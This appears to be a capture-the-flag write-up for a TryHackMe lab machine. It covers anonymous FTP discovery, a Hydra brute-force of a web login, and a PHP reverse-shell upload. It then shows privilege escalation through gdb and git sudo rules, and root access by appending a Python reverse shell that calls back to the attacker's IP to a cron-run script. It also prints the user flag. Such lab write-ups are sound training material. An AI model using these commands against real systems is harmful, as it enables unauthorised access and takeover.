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224 lines
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6.4 KiB
Markdown
224 lines
No EOL
6.4 KiB
Markdown
# TryHackMe-Tartarus Remastered
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>Abdullah Rizwan | 21st September , 06:57 PM
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## NMAP
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```
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Nmap scan report for 10.10.164.74
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Host is up (0.23s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp vsftpd 3.0.3
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| ftp-anon: Anonymous FTP login allowed (FTP code 230)
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|_-rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt
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| ftp-syst:
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| STAT:
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| FTP server status:
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| Connected to ::ffff:10.8.94.60
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| Logged in as ftp
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| TYPE: ASCII
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| No session bandwidth limit
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| Session timeout in seconds is 300
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| Control connection is plain text
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| Data connections will be plain text
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| At session startup, client count was 3
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| vsFTPd 3.0.3 - secure, fast, stable
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|_End of status
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22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 98:6c:7f:49:db:54:cb:36:6d:d5:ff:75:42:4c:a7:e0 (RSA)
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| 256 0c:7b:1a:9c:ed:4b:29:f5:3e:be:1c:9a:e4:4c:07:2c (ECDSA)
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|_ 256 50:09:9f:c0:67:3e:89:93:b0:c9:85:f1:93:89:50:68 (ED25519)
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80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 29.06 seconds
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```
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## PORT 80
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`http://10.10.164.74/robots.txt`.
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We can find robots.txt file from where we can see `/admin-dir` is accessible and there are possible usernames and passwords
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## FTP (Port 21)
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Since Anonymous FTP login is allowed we can use that to see what's in `www-data`'s directory.
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```
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ftp 10.10.164.74
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Connected to 10.10.164.74.
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220 (vsFTPd 3.0.3)
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Name (10.10.164.74:root): anonymous
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331 Please specify the password.
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Password:
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230 Login successful.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp> ls -la
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200 PORT command successful. Consider using PASV.
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150 Here comes the directory listing.
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drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .
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drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
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drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ...
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-rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt
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226 Directory send OK.
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ftp>
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```
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We can use `get test.txt` to save it locally on our machine.
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This was the content of `test.txt`
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`vsftpd test file`
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But there is another directory which you can miss because it's named as `...`
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```
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ftp> ls -la
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200 PORT command successful. Consider using PASV.
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150 Here comes the directory listing.
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drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .
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drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
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drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 ...
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226 Directory send OK.
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ftp> cd ...
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250 Directory successfully changed.
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ftp> ls -la
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200 PORT command successful. Consider using PASV.
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150 Here comes the directory listing.
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drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 .
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drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
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-rw-r--r-- 1 ftp ftp 14 Jul 05 21:45 yougotgoodeyes.txt
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226 Directory send OK.
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```
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This is the content of `yougotgoodeyes.txt` which is a directory for the webpage.
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`/sUp3r-s3cr3t`
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## Hydra
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```
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hydra -L users -P passwords.txt 10.10.164.74 http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect"
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Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-21 10:35:30
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[DATA] max 16 tasks per 1 server, overall 16 tasks, 1313 login tries (l:13/p:101), ~83 tries per task
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[DATA] attacking http-post-form://10.10.164.74:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect
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[80][http-post-form] host: 10.10.164.74 login: enox password: P@ssword1234
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```
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After getting authenticated we are now shown an upload from where we could upload a php reverse shell
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## Reverse Shell
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Getting a reverse shell first setup netcat listener for any port you want as long as it is not being used
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`nc -lvp 5555`
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Then get reverse shell from pentest monkey : https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
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In the php file change `$ip` and `$port` variable to you connected VPN IP and port on which you have set your netcat.
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Upload it and execute it from here :
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`http://10.10.164.74/sUp3r-s3cr3t/images/uploads/`
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Just an extra step if you want you can stabilize shell using this technique so that you can use clear command or auto tab complete
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```
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1. python -c "import pty;pty.spawn('/bin/bash')";
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2. ctrl+z
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3. stty raw -echo
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4. fg and then press enter 2 times.
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```
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You can then find user flag in `d4rckh` directory.
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User flag : `0f7dbb2243e692e3ad222bc4eff8521f`
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## Privilege Escalation
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### thirtytwo
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We can find SUID files with `find / -perm /4000` and we find `/var/www/gdb`
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Then `sudo -l` we can see user `thirtytwo` can run gdb so visiting GTFOBINS we find this one liner which escalates us to user.
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`sudo -u thirtytwo /var/www/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit`
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Then again check for `sudo -l`
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```
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thirtytwo@ubuntu-xenial:/home/d4rckh$ sudo -l
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Matching Defaults entries for thirtytwo on ubuntu-xenial:
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env_reset, mail_badpass,
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secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
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User thirtytwo may run the following commands on ubuntu-xenial:
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(d4rckh) NOPASSWD: /usr/bin/git
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```
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We can see d4rchk can run `git` so let's try to escalate throguh `git`.
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### d4rchk
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1. sudo -u d4rchk git -p help config
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2. !/bin/sh
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```
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$ whoami
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d4rckh
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```
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### Root
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`/home/d4rchk` has a file named `clean.py` we can see append the contents for python reverse shell then wait for a moment because this is running as a cron job.
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```
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d4rckh@ubuntu-xenial:/home/d4rckh$ nano cleanup.py
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import socket,subprocess,os;
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s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
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s.connect(("10.8.94.60",9999))
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os.dup2(s.fileno(),0)
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os.dup2(s.fileno(),1)
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os.dup2(s.fileno(),2)
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p=subprocess.call(["/bin/sh","-i"])
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```
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Setting up again a netcat listener.
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```
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nc -lvp 9999
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listening on [any] 9999 ...
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10.10.164.74: inverse host lookup failed: Unknown host
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connect to [10.8.94.60] from (UNKNOWN) [10.10.164.74] 53654
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/bin/sh: 0: can't access tty; job control turned off
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#
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``` |